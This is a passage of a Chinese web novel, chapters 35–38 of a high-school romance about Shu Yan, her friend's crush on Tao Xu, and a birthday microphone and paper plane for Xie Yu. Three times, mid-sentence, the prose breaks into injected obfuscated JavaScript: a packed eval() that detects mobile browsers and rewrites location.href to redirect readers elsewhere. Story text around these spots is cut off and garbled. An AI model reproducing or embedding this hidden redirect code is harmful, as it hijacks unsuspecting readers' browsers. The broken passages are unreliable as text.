“嗯，我也相信。” 谢玙眼神越发温柔，他低头看了一眼时间，提醒她：“好了，你先回教室吧，别迟到了。” 相处的时间总是那么短暂。 虽然舒言有些不舍，但又不得不回教室了。 在转身前，舒言举起手里的牛奶，对他说：“牛奶我会好好喝的，你们的演出我也会永远支持的。” 谢玙喉结滚动，定定地看着她：“好，一起加油。” 35. 第35章 舒言匆忙回到教室坐下，上课铃声刚好响了起来。 蔡妙妙回过头看她手里攥着一瓶旺仔牛奶，嘴里嘟囔了句：“还真的是去买喝的了啊。” 听见她的话，舒言只笑了笑没说什么。 这节课是数学课，数学老师艾匀随手在黑板上画了一个很大的圆。 底下传来学生们偷笑的声音。 艾匀哪里会不知道学生是在嘲笑自己画的圆不够圆，他手扶着保温杯，笑着说：“等以后你们长大了就知道了，这是世界上没有什么是完美的，就像艾老师画的圆不够圆一样。” 学生们听了后笑得更开心了。 “好了。”艾匀微笑着用手敲了敲黑板，示意学生们抬头看黑板。 他嘴里操着一口不怎么标准的普通话，开始重复自己的经典名言，“在座各位，以后都是要去造火箭的，所以学好数学就特别重要。” ”好，我们继续来看这道题。” 下午最后一节课结束后，舒言和蔡妙妙一起去学校食堂吃饭。 学生时代似乎总是匆匆忙忙的，下课后大家都是着急去食堂抢饭，生怕去晚了就要排很久的队。 记得之前南中还有学生自己组织起来拍了个关于抢饭的视频，里面的每个学生都拿出了冲刺八百米的气势。 视频里有个女生不小心摔倒了，她的同学想来拉她，结果女生直接推了同学一把，说不用管她，让同学快去抢饭，而她的同学沉重地点了点头，转头的瞬间像是承担起了什么重大的责任。 视频底下的有个评论让人印象深刻—— 哪怕是我，也绝对不能耽误我姐妹抢饭[狗头][狗头] 由此可见，对于南中人来说，抢饭实在是一件很重要的事情。 这个视频在南港的学生还有家长中广为流传，之前还上过南港电视台。 不过今天下午舒言和蔡妙妙都没有抢饭的热情，她们打算去三食堂，这个食堂一般排队的速度比较快。 她们都要了一份牛肉面。 在食堂找了好久，两人才找到了座位坐下。 牛肉面是三食堂的一大特色，好吃到让人都怀疑是不是里面加了点什么东西，几天不吃就会有点想念的那种程度。 舒言低头吃了几口面，虽然对面的蔡妙妙一直没说话，但她能感觉到蔡妙妙有些欲言又止。 只是等舒言抬头看向她的时候，她又立马装作认真吃饭的样子。 反反复复几次，舒言实在忍不住问：“妙妙，你是有什么话想说吗？” 嘴里还咬着一口面的蔡妙妙点点头又摇摇头，最后在舒言的热切注视下败下阵来。 她舔了下红红的嘴唇，“好吧，我承认我确实有话对你说。” 她刻意压低了声音，一副草木皆兵的模样，“不过不是现在，食堂里人多嘴杂，待会回去的路上再告诉你。” 舒言：“好。” 吃完饭后，她们下楼沿着宽敞的大道回教室。 道路两旁种了很多银杏树，秋天到了，叶子已经变得枯黄，风吹过的时候，叶子掉在空中很像跳舞的蝴蝶。 舒言弯腰从地上捡了一大一小的两片叶子，对折一下，又在叶梗的地方打了一个结，再把叶片从中间撕开，手上就出现了一只振翅欲飞的金色蝴蝶。 “哇，真好看。”蔡妙妙盯着她手上的蝴蝶看。 舒言笑了笑：“那我把它送给你吧。” 她又捡了几片银杏叶，打算给许茉、许愿还有夏艺她们也做一只。 蔡妙妙惊喜地看着手心的蝴蝶，她偏过头凝视舒言清秀白皙的侧脸，再也藏不住心里的秘密。 开口的时候声音里却有几分惆怅，“言言，我好像喜欢上了一个人。” 舒言折蝴蝶的动作顿了下，抬眼看向她，“嗯？什么时候的事情。” 蔡妙妙脚下的步子很轻很缓，“可能就是上次学生节之后吧。” 舒言若有所思地回忆了最近发生的事情，好像也没什么特别的。 蔡妙妙又继续说：“哎呀，就是我们学校的，而且你也见过的，这几天每次我远远地看见他的时候，就会有心跳加速的感觉，但是又不太敢接近他。” “你知道吗？这和喜欢林海潮的时候是完全不一样的感觉。” 舒言温声问：“怎么说？” 蔡妙妙咬着下唇想了半天，“就是，我觉得我之前对林海潮只是有好感，但是对他却不一样，我想要了解他，想要知道他全部的喜好。” “而且我看见他笑的时候，也会觉得很开心，看见他皱眉，我也会觉得很难过……我想这应该就是喜欢吧。” 年少时的感情总是简单又纯粹，说不出到底喜欢他什么，或许只是一次擦肩而过，一次偶然的对视，都足以让少女脸红心跳。 想到自己此刻也面临着同样的心情，舒言自然是能够体会她目前的感受。 她拉起蔡妙妙的手捏了捏，“那就恭喜我们妙妙啦，有了自己喜欢的人。” 不过…… 舒言忽然想起刚才蔡妙妙说她喜欢的人自己也见过，便多问了句：“你说我也见过是什么意思？” 总觉得应该不是他们班的人。 蔡妙妙撩了下刘海，和她坦白了，语气有些害羞，“就咱们年级17班的一个男生，长得还挺帅的。” 舒言听后笑了笑，调侃她：“难怪你今天吵着要去物理办公室，原来是这个原因……” 蔡妙妙被她说得脸都红了，“哎呀，你可不能告诉别人，其实我今天没看到他啦。” 不过17班的学生，舒言正了正神色，她好像也只认识谢玙和何昭啊…… 而且她们下午去的时候，他们也刚好不在班里。 但是妙妙喜欢的人…… 舒言长睫敛了敛，看向她：“妙妙，你确定我见过吗？” 蔡妙妙斩钉截铁地说：“当然了，不过你也有可能记不得他长什么样子了。” 舒言听得有点懵，“什么意思？” 蔡妙妙双手掩面，从指缝的间隙看她，吞吞吐吐地说：“就是……学生节的时候，我跑完步差点摔地上，接住我的那个男生啦。” “当时被他抱在怀里的时候我心跳得好快，好半天都不敢睁开眼睛。” “而且有件事我一直没告诉你，其实那天下午我就在学校里看到他了，我偷偷跟在他后面，发现他进了17班的教室，才知道原来他是17班的。” “而且我还听见他的同学叫他陶续，继续的续。” 舒言听得愣了下，她没想到蔡妙妙喜欢的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293147|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人居然是那天的那个男生。 她在脑海里回忆了一下，只能依稀记得他长什么样子。 蔡妙妙春风满面地捧着小脸，“我已经想好了，如果下次再看到他，我一定想办法去要他的联系方式。” — 去北沅参加化学竞赛前的最后一节课是体育课。 而且很巧的是那天下午17班的体育课临时和他们班换到了同一节。 周华还是像平时那样组织他们上跑道跑了两圈就让他们自由活动了。 舒言看到解散后王远他们去和17班的男生一起打球了，谢玙当然也在里面。 隔着大半个操场，两人远远地对视了一眼，谢玙就跑过去和其他人汇合了。 没想到去北沅前还能再见到他，舒言心里感到很高兴。 她记得谢玙的生日是11月23号，那天刚好是周天，她应该能够从北沅赶回来。 只是舒言还没想好要给他买什么生日礼物。 她有些烦恼地皱了下眉。 见她愁眉苦脸的样子，夏艺搂住她的肩膀问：“怎么了啊，你是在担心化学竞赛的事情吗？” 舒言摇摇头，“不是。” 想了想，她抬头看向夏艺，“夏艺，你说给男生送什么生日礼物好呢？” 夏艺笑着打量她，“怎么了，是送给喜欢的人吗？” 舒言脸有点热，但又不太好意思承认，说：“……不是的，是送给我的一个哥哥，他就比我大一岁，平时喜欢唱歌，打球。” 夏艺转了转眼珠子，给她出主意：“喜欢唱歌的话，那你干脆送给他一个话筒或者送张他喜欢的歌手的CD得了。” 话筒……CD…… 舒言眼神亮了亮，觉得确实是个不错的选择。 “好，谢谢你，我大概有想法了。” 夏艺：“不客气。” “不过……”她俏皮地眨了眨眼睛，突然说：“如果是送给喜欢的男生的话，我倒是还有一个更有意思的建议。” 舒言被她的话勾得有些好奇，“什么？” 就连一直在东张西望的蔡妙妙听到她这话时都没忍住回过头来。 夏艺清了清嗓子，说：“是这样的，因为我初中也在南中读的嘛。” “然后当时我们听说过一个很美丽的故事。” “据说是高二的一个学长和学姐，在一个落日熔金，丹霞似锦的晚上，学姐折了一只纸飞机，往窗外随手放飞，结果猜你们着……” 蔡妙妙屏住呼吸：“怎么了？” 舒言也一脸好奇地盯着她看。 夏艺也没继续卖关子：“那只纸飞机刚好飞到了隔壁班的窗台上，到了那个学长的手里，而且那天刚好是那个学长的生日。” 蔡妙妙：“哇，那确实挺巧的，还有后续吗？” 夏艺脸上露出个羡慕的表情，“后面高考结束后，他们两个人就在一起了，而且他们还分别是当年的文理科状元哦。” “怎么样，是不是听上去还挺浪漫的？” 蔡妙妙很难不赞同地点了点头，“听上去有点像小说里发生的故事。” 夏艺手托着腮帮子，“对啊，所以后来在南中就开始流行起，在喜欢的人过生日那天，亲手折一只纸飞机送给他。” 36. 第36章 这是舒言第一次听说这个关于纸飞机的故事。 她忽然想起之前在糖水铺的时候，老板娘给他们讲了一个便利贴的故事，故事的男女主角也是他们的学长学姐，而且也分别是文理科状元。 只是不知道老板娘口中的学长学姐和夏艺刚才说的是不是同样的人。 夏艺站起来伸手递给她们，“走吧，我们过去打会儿羽毛球，活动活动。” 舒言借着她的力站了起来，“好。” 蔡妙妙不知道往哪里看了一眼，恋恋不舍起来跟着她们走了。 打了两局羽毛球后，蔡妙妙却是把舒言悄悄拉到了旁边。 “怎么了，妙妙。” “额，言言。”蔡妙妙一脸纠结地挠了挠头，“你往三点钟方向看过去。” 舒言按她说的方向看了过去，那边是一群在打篮球的男生。 正好在谢玙他们旁边的场地。 蔡妙妙又说：“你看到那个头发有点卷的男生没？” 隔得有点远，舒言努力辨认了一下，终于发现了蔡妙妙说的是谁。 舒言：“嗯，看到了。” 蔡妙妙言简意赅：“额，他就是陶续。” 舒言：“？” 不过她很快反应过来这是蔡妙妙喜欢的那个男生。 舒言眯着眼睛往那边多看了两眼，看起来个子挺高的，也蛮瘦的。 蔡妙妙踮起脚凑近她耳边说：“我打算待会去找他要Q.Q号。” “我觉得这是一个难得的好机会，机不可失时不再来。” 舒言眨了下眼睛，问她：“那你打算什么时候去要？” 蔡妙妙痛苦地瘪了下嘴，“我也不知道，而且我有点害怕。” “主要是我怕他拒绝我，不愿意给我联系方式。” 舒言给她出主意，“要不待会等他们休息的时候过去要？” “都是一个年级的，他应该……会给吧。” 蔡妙妙也觉得这个方法可行，“嗯嗯，那就等他休息的时候去要。” “但是怎么办啊，言言，我还是有些不敢。” “我觉得我的心跳得好快，都快从嗓子眼跳出来了，我这心率都180了吧。” 舒言看出来她在紧张，伸手摸了摸她的背安慰她，“没事的，别紧张。” “不管结果怎么样，你勇敢过了就没有遗憾了。” 蔡妙妙点点头，从校服口袋里拿出来一个小本子还有一只笔。 她习惯随手记下一些关于小说的灵感，没想到今天刚好派上用场了。 不知道是不是她们往那个方向看的次数太频繁了，舒言总觉得那边也有人看了过来，但她又不太好意思一直盯着那边看。 她们站在原地等了一会儿，几分钟后，蔡妙妙一脸激动地拍了拍舒言的手背，“休息了休息了。” 舒言看了过去，那边果然中场休息了，而且那个男生走到旁边喝水去了，也没和其他人说话。 这确实是个要联系方式的好机会。 舒言：“那我们现在过去吧，我陪你去，给你壮壮胆。” 蔡妙妙感激一笑。 “好。” 舒言握住蔡妙妙的手给她力量，但明显感觉到她的手一直在发抖。 她们一起往那边走去，结果走到一半的时候蔡妙妙突然停了下来，“我不行了，言言，我真的太紧张了，腿一直抖得不行。” 舒言视线下移，发现蔡妙妙的双腿确实在打着颤栗。 她甚至都怀疑蔡妙妙现在还能不能走路。 舒言抿了抿唇，“那怎么办，今天先不去要了？” 蔡妙妙拉着她的手紧了紧，表情十分挣扎。 可错过这次机会下次又要什么时候才能鼓起勇气呢。 她舔了舔干涩的唇，眼神带了点恳求，“言言，你……能不能去帮我要一下。” “好不好？” 舒言在原地征了几秒，表情有几分为难。 蔡妙妙可怜兮兮地看着她：“言言，帮我一下好不好，我真的不敢过去了，我太紧张了，估计过去了连话都说不出来，但是我真的好想要他的联系方式。” 她能感受到蔡妙妙此刻煎熬痛苦的心情。 而且如果今天没去要联系方式的话，蔡妙妙心里估计会一直记着这件事。 舒言往那边看了一眼，又看了看蔡妙妙，最后无奈地叹了口气，“好吧，我去帮你要。” 只不过…… 舒言心里还是有些纠结，原因无他，因为谢玙就在旁边的场地上，两个场地隔得不是很远，如果自己过去找那个男生要联系方式的话，他应该也会看到吧。 他会不会误会自己喜欢那个男生。 但是妙妙这里她又不太好拒绝。 舒言垂眸想了想，要不她后面找个机会和谢玙解释一下。 虽然他应该只是拿自己当朋友，但她就是不想让他误会自己喜欢别人。 想到这舒言终于克服了内心的犹豫，她拿过蔡妙妙手上的本子还有笔。 “你站在这等我，我去帮你要。” 扔下这句话，舒言朝着篮球场的方向走了过去。 而此时的另一边。 何昭刚想和谢玙说什么，余光突然扫到一个熟悉的身影。 他赶紧拍拍谢玙的背，“快看，是舒言同学。” 手上刚拿到球的谢玙朝他手指的方向看了过去。 何昭有些疑惑地说：“她是过来找我们的吗？但是看起来又不太像，她怎么往那边过去了？” 话音刚落，何昭更是直接瞪大了眼睛，“靠，不是，她怎么去找陶续那家伙了？” 谢玙手上的篮球啪的一下掉在了地上。 …… 舒言硬着头皮，自动忽视其他人投来的目光，往最边上的陶续站的位置走了过去。 还有几步距离时，陶续徒然抬头看了过来，锐利的目光落在她脸上。 舒言差点被吓了一跳。 但是来都来了，肯定不能无功而返。 她干脆大着胆子又朝前走了几步，抬头看向他，礼貌地说：“你好……同学，可以给一下你的Q.Q号吗？我有个朋友想认识你一下。” 陶续眼底先是有几分诧异，而后饶有趣味地盯着她看了几秒。 旁边的几个男生也注意到了他们这边的情况，好奇地伸长脖子在往他们这边看了过来，结果被陶续一个锋利的眼神怼了过去。 见他一直没回话，舒言以为没戏了，正想说打扰了的时候。 头顶上方蓦地落下句，“可以。” 舒言没有半点犹豫地把本子和笔递给他。 陶续接过低头写了起来，很快就还给了她。 舒言随意扫了一眼，说了句谢谢就转身离开了。 回去的时候她可以说是健步如飞，只想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她刚才就在想如果她当初要是去向谢玙要联系方式的话，怕是也会和妙妙一样，紧张得双腿发软吧。 蔡妙妙一听更加感动了，她抱住舒言的胳膊小猫似的撒娇，“言言，你真的太好了，如果以后……我是说如果哈，如果我们在一起了，我一定让他请你吃饭。” 舒言笑了下，随即正色道：“不过妙妙，我觉得我们这个年纪还是先专注学业的好。” 蔡妙妙小鸡啄米地点头，“我知道的，言言，其实我只是想多了解一下他而已，你说的对，学习才是我们目前最要紧的事情。” 听见她这么说，舒言这才放下心来。 下课以后，舒言和蔡妙妙一起回教室，路过篮球场的时候，她下意识往那边看了一眼。 王远他们还在打球，只是…… 谢玙已经没在了，何昭也不在了。 他是不是已经回教室了，或者去小卖部买水了。 舒言想着自己刚才去找陶续要联系方式的时候，她根本不敢往他在的方向看一眼，不然她怕自己没有勇气继续去要。 明天就要去北沅参加竞赛了，她只希望能够顺利完成考试，然后回来祝他生日快乐。 至于送给他的生日礼物，舒言心里已经有了想法。 37. 第37章 从南港到北沅要花上足足一天的时间。 抵达北沅后，竞赛队入住学校统一安排的酒店。 考试的前一天晚上北沅下了场大雨，雨点毫不留情地鞭笞着窗户，发出噼噼啪啪的响声，舒言躺在床上有点睡不着。 这座城市的轮廓隐匿在玻璃窗外的点点星火里。 舒言侧身望着窗外静静想着—— 原来这里就是谢玙以前生活的地方。 他整个初中时期，还有小学、高中的一段时间都在这里度过。 北沅离南港这么远，也不知道小时候离开南港的时候，他会不会也很舍不得，有没有偷偷掉过眼泪。 在这个只有雨声的深夜，舒言心里多了一种难以描述的体验，就好像她对他的了解又多了一些。 舒言带着某种满足闭上了眼睛，慢慢陷入沉睡中。 第二天早上起得很早，两个小时的考试时间都在紧张和刺激中度过。 面对这些复杂甚至远远超出高中化学难度的题目，舒言并没有自乱阵脚，从始至终都从容淡定地应对，偶尔遇到棘手的题目，她选择先暂时放一下，继续完成后续的题目。 考试结束后，每个走出考场的人脸上都写满了如释重负。 可不是嘛，几个月紧绷的日日夜夜，在今天终于迎来了解放。 影视剧里总喜欢歌颂少年人的英雄主义，殊不知现实中绝大多数人的青春都是由无数个平凡的日夜砌成的，然而成功往往也诞生于这些平凡的岁月里。 不管最终的结果怎么样，相信他们所有人都无愧于自己过往的努力。 领队老师知道他们好多人都是第一次来北沅，所以吃过午饭后还特意带着大家在附近转了转，还给他们拍了照片。 无意间被老师抓拍到的舒言没看镜头，她手抓着书包肩带，脸上带着浅淡的笑容，几缕发丝被风吹了起来，表情放松惬意，看上去青春又靓丽。 大家都夸这张照片拍得很好，特别适合做头像，舒言也很喜欢这张照片。 老师说后面回南港后把照片洗出来给她。 逛街的时候，舒言心里一直记得要给谢玙买生日礼物。 终于在路过一家店铺时，舒言一眼就被橱窗里摆放的那只浅绿色的话筒吸引。 她没有半点犹豫地走进了店里，让老板把话筒取出来给她看看。 夏艺反应过来她是要给哥哥买生日礼物，便也进来陪着她一起挑选。 老板看出来舒言很感兴趣，热情地给她介绍：“妹妹眼光很好哦，这个颜色的话筒很少见，而且这款话筒自带降噪功能，能够很好的保证声音的纯净度和清晰度，特别适合用于演出……” 舒言在老板的指导下很认真地试用，这只话筒拿着不费手，音质、稳定性都挺不错。 关键这只话筒的颜色和谢玙那把吉他的颜色很像，都是绿色系，搭配起来使用应该挺合适的。 舒言脸上扬起笑容，“老板，那我就要这个了，帮我好好包装一下。” 老板笑得很开心，“好勒，是要送朋友吧，那你可真的买对了。” 看到话筒价格的时候，夏艺默默给她竖起大拇指，“看来你真的很喜欢你那个哥哥了，舍得花这么多钱给他买生日礼物。” 舒言听见她口中的哥哥还愣了几秒，然后才想起自己之前随口编的借口。 她脸上忽的一热，悄然垂下眼帘，掩去内心的悸动。 她轻声说了句：“是啊。” 她确实很喜欢他，只不过他不是她的哥哥，而是她喜欢的人。 这只话筒是在她的能力范围内能给他的最好的礼物。 舒言并不觉得这只话筒很贵，在她看来，再贵的话筒他也值得。 下午两点半，他们坐上车开始返程。 一路上倒也并不无聊，大家都是一个竞赛班的，都已经很熟了。 大家聚在一起聊天，玩游戏，嗑瓜子，讲笑话，吐槽学校里发生的各种奇葩事情。 “你们知道吗？你们女生宿舍的阿姨和我们男生宿舍的叔叔在谈恋爱！” “哇，这么劲爆吗？你怎么知道的啊。” “有一天早上我看到那个阿姨从我们男生宿舍出去的，特别早，才早上六点。” “还有还有，之前17班的班主任和22班的班主任打了一架！” “啊，怎么回事啊，细说细说。” “听说是17班班主任上课的时候给学生说学文科以后没有用，学了以后也都是废物，然后这事被传到22班班主任耳朵里了，22班是文科班，所以22班班主任就过来把17班班主任打了一顿。” “天哪，不过17班班主任是挺那啥的，他之前来给我们物理老师带过一次一次课，讲的也不咋地嘛……” “……” 舒言安静听着，偶尔和旁边的同学说几句话。 她看着车窗外驶过的景色，却没什么心情去欣赏。 她只想快点回到南港，在明天亲手把生日礼物送给谢玙。 回到南港已经是第二天下午的事情。 学校安排了大巴车把他们送到了学校门口，大家下车后都回家去了。 回家稍微休息一下，晚上还要赶回来继续上晚自习。 舒言没有选择直接回家，而是去了学校旁边的一家文具店。 这个时间点店里的学生不多。 舒言在店里转了一圈终于找到了她要的卡纸。 店里的卡纸颜色不算多，舒言最后还是挑了一张绿色的。 这张卡纸是磨砂质感的，上面洒了层金粉，如果放在阳光下，还会闪闪发光。 她想用这张纸折一只纸飞机。 折之前她拿出书包里的笔在纸上写了句—— 旦逢良辰，顺颂时宜。 你的生日，对我来说是一个很特别很值得庆祝的日子。 纸飞机折起来并不复杂，但舒言折得很认真，想尽量把它折得漂亮一些。 老板看她在折飞机的时候，还笑着说这两天有好多人和她一样专门过来买卡纸折飞机，还问她是不是最近学校在搞什么活动。 听见老板的话，舒言心里其实大概猜到了什么。 她离开文具店后就进了学校。 话筒她可以当面送给谢玙，但是这只纸飞机她却只敢趁着他们班没有人的时候偷偷放到他的桌上。 虽然也不知道夏艺口中那个关于纸飞机的故事是不是真的，但舒言还是想想偷偷许一个愿。 舒言到17班教室后门后，先仔细确认里面没有人以后，才轻手轻脚地走了进去。 她知道谢玙的座位在倒数第三排靠窗的位置。 舒言走过去的时候，发现他的桌上和自己预想的那样已经摆了很多各式各样的纸飞机，旁边还放了很多礼物。 她把自己折的那一只也放入其中。 她特意选了偏硬的纸，希望这只纸飞机如同他的梦想，能够在蓝天白云下肆意翱翔，熠熠生辉。 送完纸飞机后，舒言没有过多停留，径直离开了他们班教室。 出教室后，她才发觉自己心跳如擂鼓，甚至连手都在发抖。 第一次做这种有些偷偷摸摸的事情，实在是没有经验，她不禁在心里嘲笑自己太没出息了。 不过顺利把纸飞机送出去了，她自然也是很开心的。 舒言嘴角止不住地上扬，左拐往行政楼的方向走，没想到在走廊尽头的转角处差点撞上个男生。 ……而且还刚好是17班的人。 男生臂弯处拎着件外套，垂眼冷冷睨她。 舒言脸上的笑容僵住，被他看得头皮发麻，礼貌地向他颔首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304389|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，然后匆匆离开了。 陶续却是回过头盯着她的背影看了几秒，才迈开长腿进了教室。 进去后一眼就看见谢玙桌上那堆纸飞机，陶续鼻腔发出一声不屑的冷哼。 也就那群愚蠢又无知的女生稀罕他。 陶续手机落在教室里了，今天特意早点过学校来取，没想到刚好碰上个女生在他们班教室门口，一副要干“坏事”的样子。 结果就为了给那家伙送个破飞机？ 又想到之前体育课上她来要自己的Q.Q，甚至当天晚上就迫不及待发送了好友申请。 倒还真的挺有意思。 陶续脸上露出个讽刺的笑容，掏出根烟叼在嘴里，走过去把女生不久前才放在桌上的那个纸飞机拿了起来。 — 回家洗了个热水澡，又换上干净的秋季校服，舒言拿出手机给许漫发消息。 【一只鱼】：你从北沅回来啦，怎么样，还顺利吗？ 舒言回了句一切顺利。 她盯着屏幕对着键盘敲敲打打，最后给许漫发了句—— 对了，今天是不是谢玙的生日，不知道我记错没有。 许漫立马就回复了她 【一只鱼】：对啊，还以为你忘了呢。 然后又发了一张图片过来。 舒言点开放大，发现上面是一个生日蛋糕，左上角还有谢玙小半张脸。 【一只鱼】：我们以为你今天不能回来呢，快看，我们今天都来给谢玙过生日啦。 然后许漫又甩过来几张图片，有大家一起拍的，还有谢玙单独的。 舒言小心地把谢玙的图片点开，照片里他表情难得的有点懵，脸上还沾了点奶油，不知道是谁弄上去的。 舒言把他的照片全都保存了下来，然后给许漫发了条消息。 【舒】：替我向他说句生日快乐。 【一只鱼】：没问题，学校见。 【舒】：好，学校见。 发完消息后，舒言又整理了一下自己的书包，放进去两本新买的理综卷子。 她把纸盒包装的话筒放进一个精致的礼物袋里，打算今天晚自习的时候去送给他。 想到今晚要去见他，舒言心里紧张又激动，甚至连心跳都开始提前加速。 舒言想给谢玙一个惊喜，所以没有提前告诉他自己晚上会去找他。 她看了一眼时间，发现现在也不早了，该准备去学校了。 不过回学校前舒言先去了一趟照相馆，把之前学生节拍的的照片给取了。前段时间忙，她一直没时间过来取。 舒言到学校的时候，班上有一些同学在补周末作业。 她才刷了半张物理试卷，晚自习就上课了。 今天晚上是语文晚自习，冉华容发了一套卷子让他们做。 原本舒言是打算第一节晚自习下课后就去找谢玙的，但是因为在考试所以就没能去。 等到二晚下课，冉华容又让她帮忙把试卷拿到办公室去，还顺便布置了下周早读的任务，这就导致舒言一直没有时间去找谢玙。 三晚上课后，舒言坐在座位上有些着急。 如果这节课下课后，她跑到17班的时候谢玙已经走了的话，那她就没办法送礼物给他了，也没办法亲口对他说一句生日快乐。 想到这舒言心里难免有些失落。 见她一直盯着试卷发呆，陈质轻轻敲了下她的桌子，问：“你怎么了？是题目有点难吗？” 舒言这才回过神来。 她摇摇头，“啊，不是的，只是发了会呆。” 陈质对她笑了笑：“这两天是挺累的，晚上回去好好休息。” 舒言：“好，你也是。” 心里想的却是待会下课后，她必须得跑快点，在他离开教室前就到他们班门口。 38. 第38章 晚自习下课后，舒言背着书包立马往教室外跑了出去。 还想转过身和她说话的蔡妙妙看着身后空荡荡的座位，惊讶地长大了嘴巴。 她问旁边的陈质：“言言人呢？” 陈质停下收拾书包的手，眼神示意外面，“走了啊。” 蔡妙妙忍住翻白眼的冲动，“我当然知道言言走了，但是她今天怎么走的这么快。” 陈质耸了耸肩，“不知道啊，可能是太累了，想晚点回去休息吧。” 蔡妙妙一听觉得有可能，她原本还想告诉舒言，自己周末的时候已经加上陶续了呢。 看来只有明天再说了。 …… 舒言小心地把礼物抱在怀里，避开人群往楼下跑。 到17班教室门口的时候，她看到好多人正在往外面走。 舒言赶紧往教室里面看去，生怕谢玙已经走了。 她大口喘着气，心跳声强劲又急促。 只可惜从门口出来的人都不是她要找的，往教室里面看了一圈，也没看到他的身影。 舒言胸腔内顿时涌上一股汹涌的失落感。 怎么办，她还是没能赶上。 她抿了抿干涩的唇，垂下眼眸打算转身离开。 “舒言同学？” 身后蓦地响起一道熟悉的声音。 舒言顿时一喜，立马回过头去。 身后站着的人果然是何昭。 何昭手里还提着个不知道是谁的书包，一脸疑惑地问她：“你怎么在我们班门口，是要找人？” 舒言想也没想地问他：“谢玙走了吗？” 听出来她的语气很着急，何昭下巴往旁边扬了扬，“没，厕所呢。” 又颠了下手上提着的包，“看，这他书包。” 舒言悬着的心这才落了下来，脸上终于有了点笑意。 可下一秒何昭的话却让她脸上的笑容僵硬住了。 “你是来找他的？”他眼神犹豫地说：“可我觉得他可能……” 他反手挡在嘴角，压低了声音说：“算了，偷偷告诉你吧，他在生你的气，气了好几天了。” 听见他的话，舒言呼吸一滞，眼神里写满了茫然和困惑。 “哟，他来了。”余光瞥见谢玙的身影后，何昭赶紧把他的书包塞给了舒言，留下一句，“你千万别说是我说的啊。”说完就一溜烟似的跑了。 停在原地的舒言下意识往左前方看去，果然看到了谢玙的身影。 她朝他挥了挥手，想了想，又露出一个明媚的笑容。 谢玙自然也看到了她。 他穿了件黑色的连帽兜衫，衬得整个人肤白如玉，周身气质冷冽干净，离得越近，身上那股疏离感就越浓烈。 走廊的灯光有点暗，舒言看不清他脸上的表情，但能感觉到他心情不太好的样子。 何昭刚才说他在生自己的气，而且都气了好几天了。 可是舒言不知道是为什么，难道是因为她去北沅参加竞赛，白天的时候没能去给他过生日吗……但又潜意识觉得他不像是会因为这个就生气的人。 舒言注视着他一步一步走到自己面前，她刚想说些什么，却看到他面无表情地对自己说了句谢谢，伸手把书包拿过，单肩背上就转身走了。 舒言垂眸看着自己空荡荡的右手，有点不知所措地愣在原地。 她抬眸望着他清瘦高挑的背影，正想跟上去，却看见还没走出几步的谢玙忽然停了下来。 他回过头，深邃璨亮的眼眸瞥了过来，脸上的表情多少有点不太自然。 “不走？” 舒言反应过来，赶紧小跑过去。 她侧过头去看他，脸上重新扬起笑容，试探着说：“我还以为……你不想理我呢。” 谢玙目视着前方，声线在夜色中愈发清冷，“我为什么不想理你。” 舒言抿抿唇，声音有点闷，“不知道啊，但是我能感觉到你心情不好。” 她不是个喜欢弯弯绕绕的人，就干脆直接问了，“你是在生我的气吗？” 说完还小心翼翼地拉了下他的衣角。 谢玙视线落在她的手上，神色不明，“……没有。” 舒言以为他不喜欢别人碰他，立马收回了手，又说：“是因为我今天没能去给你过生日？” 谢玙斜睨了她一眼，屈指碰了下她刚才碰到的衣角，语气依旧很冷淡，“……不是。” 哦哦。 舒言明白了。 看来是真的生气了，只是她猜错了原因。 可是还能是因为什么呢。 舒言有些苦恼地想着，上次见到他还是去北沅前上的那节体育课。 体育课…… 一个大胆的念头在她脑海滋生，但又很快被她否认了。 只是舒言还是觉得谢玙生气的原因多半和那天发生的事情有关。 于是她说：“上次体育课我去找……” 话音未落，谢玙突然出声打断了她，浅色的眼眸里有种她看不懂的情绪，“如果你是想从我这里打听他的事情，那你可能找错人了。” 说完后又有些不自在地挪开目光，像是在努力克制什么，“抱歉，我和他不熟。” 这个“他”是谁自然不言而喻。 舒言黑浓纤长的睫毛小翅膀似的扇了几下，显然是被他说的有点懵，嘴唇嗫嚅，飞快在脑海组织着语言。 沉吟几秒后，她干脆站在了他的面前，一字一句地看着他说。 “我没有想要从你这里打听他的事情。” “你是不是因为我去找他要联系方式，所以觉得我喜欢他？” 听她说起这个，谢玙眼皮半阖着，神色紧绷，连呼吸都缓了些。 舒言看向他的眼神十分坦荡，“我喜欢的人不是他，联系方式是去帮我同学要的。” 她眼睛亮晶晶的，隐隐含着期待，“关于这件事，我解释清楚了吗？” 谢玙的目光蓦地落在她脸上，像是在求证她刚才说的是不是真的。 周遭的一切都自动隐形了，两个人的眼眸里都只有对方的身影。 看见她眼底的专注和真诚，谢玙紧绷的身躯终于松懈下来。 他自顾自低头笑了下，“嗯，清楚了。” 又看向她说：“……真没生你的气。” 伸手想帮她拿手上的东西，“走吧，送你回宿舍。” 